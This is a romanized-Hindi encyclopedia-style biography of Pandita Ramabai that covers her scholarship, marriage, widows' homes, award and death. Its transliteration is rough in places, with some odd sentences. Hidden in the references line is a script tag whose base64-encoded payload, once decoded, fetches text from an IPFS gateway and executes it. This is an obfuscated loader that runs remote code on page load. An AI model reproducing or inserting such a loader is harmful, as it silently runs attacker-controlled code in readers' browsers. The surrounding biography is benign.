पंडिता रमाबाई

pandita ramabaee
pandita ramabaee|200px|center
poora nam	pandita ramabaee
janm	23 aprail, 1858 ee.
janm bhoomi	maisoor
mrityu	5 aprail, 1922 ee.
mrityu sthan	maharashtr
abhibhavak	'anant shastri'
karm-kshetr	samaj sudharak
bhasha	marathi, kann d, hindi aur bangala
puraskar-upadhi	'sarasvati', 'pandita' aur "kaisar-e-hiandi"
nagarikata	bharatiy
any janakari	amerika mean unake prayatn se ramabaee esosieshan bana jisane bharat ke vidhava ashram ka 10 varsh tak kharch chalane ka jimma liya.

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pandita ramabaee (aangrezi: Pandita Ramabai, janm: 23 aprॅl, 1858; mrityu: 5 aprail, 1922) prakhyat vidushi samajasudharak aur bharatiy nariyoan ko unaki pichh di huee sthiti se oopar uthane ke lie samarpit thian. pandita ramabaee ka janm 23 aprail, 1858 ee. mean maisoor riyasat mean hua tha. unake pita 'anant shastri' vidvan aur stri-shiksha ke samarthak the. parantu us samay ki parivarik roodhivadita isamean badha bani rahi. pita rama ke bachapan mean hi sadhu-santoan ki mehamanadari ke karan nirdhan ho ge aur unhean patni tatha rama ki ek bahan aur bhaee ke sath gaanv-gaanv mean pauranik kathaean sunakar pet palana p da. medhavi kretar ka nam ramabaee medhavi ke nam par rakha gaya.

vidvan rama

ramabaee asadharan pratibhavan thi. apane pita se sanskrit bhasha ka jnan prapt karake 12 varsh ki umr mean hi 20 hazar shlok kanthasth kar lie the. deshatan ke karan usane marathi ke sath-sath kann d, hindi, tatha bangala bhashaean bhi sikh lian. 20 varsh ki umr mean hi ramabaee ko sanskrit ke jnan ke lie sarasvati aur pandita ki upadhiyaan prapt huee. tabhi se ve pandita ramabaee ke nam se jani gee. 1876-1877 ke bhishan akal mean durbal pita aur mata ka shighr hi dehaant ho gaya. ab ye bachche paidal bhatakate rahe aur tin varsh mean inhoanne 4 hazar mil ki yatra ki. 22 sal mean shadi hone ke bad unhoanne bal vivah ke virodh mean aur vidhavaoan ke halatoan par bolana shuroo kiya. medikal ki upadhi hasil karake vo briten geean. yooes geean aur snatak ki upadhi li. pati ki maut ke bad unh‍hoanne pune mean ary mahila samaj ki sthapana ki. ek kavayitri aur lekhika banane ke kram mean unhoanne jivan mean khoob yatraean kian. ramabaee sat bhashaean janati thian, dharmaparivartan kar eesaee ban geean aur unhoanne baibal ki anuvad marathi mean kiya.

samaj sudharak

22 varsh ki umr mean ramabaee kolakata pahuanchi. unhoanne bal vidhavaoan aur vidhavaoan ki dayaniy dasha sudharane ka bi da uthaya. unake sanskrit jnan aur bhashanoan se bangal ke samaj mean halachal mach gee. bhaee ki mrityu ke bad ramabaee ne 'vipin bihari' namak achhoot jati ke ek vakil se vivah kiya, parantu ek nanhian bachchi ko chho dakar dedh varsh ke bad hi haije ki bimari mean vah bhi chal basa. achhoot se vivah karane ke karan ramabaee ko kattarapanthiyoan ke akrosh ka samana karana p da aur vah poona akar stri-shiksha ke kam mean lag gee. usaki sthapit sanstha ary mahila samaj ki shighr hi maharashtr bhar mean shakhaean khul geean.thumb|250px|pandita ramabaee

vidhavaoan ke lie kary

aangrezi bhasha ka jnan prapt karane ke lie pandita ramabaee 1883 ee. mean ianglaind geean. vahaan do varsh tak sanskrit ki prophesar rahane ke bad ve amerika pahuanchian. unhoanne ianglaiand mean eesaee dharm svikar kar liya tha. amerika mean unake prayatn se ramabaee esosieshan bana jisane bharat ke vidhava ashram ka 10 varsh tak kharch chalane ka jimma liya. isake bad ve 1889 mean bharat lautian aur vidhavaoan ke lie sharada sadan ki sthapana ki. bad mean kripa sadan namak ek aur mahila ashram banaya.

atmanirbharata ki shiksha

pandita ramabaee ke in ashramoan mean anath aur pi dit mahilaoan ko aisi shiksha di jati thi jisase ve svayan apani jivika uparjit kar sakean. unhoanne mukti mishan shuroo kiya, jo thukaraee gee mahilaoan-bachchoan ka thikana tha. unhoanne banbee mean 20 l dakiyoan ke sath sharada sadan ki shuruat ki. sanh 1919 mean british sarakar ne unhean "kaisar-e-hiandi" ke tamage se navaja tha. pandita ramabaee ka jivan is bat ka praman hai ki yadi vyakti dridh nishchay kar le to garibi, abhav, durdasha ki sthiti par vijay prapt karake vah apane lakshy ki or badh sakata hai. unaki saphalata ka rahasy tha- pratikool paristhitiyoan mean sahas ke sath sangharsh karate rahana.

nidhan

5 aprail, 1922 ee. ko pandita ramabaee ka dehaant ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 451 se 452.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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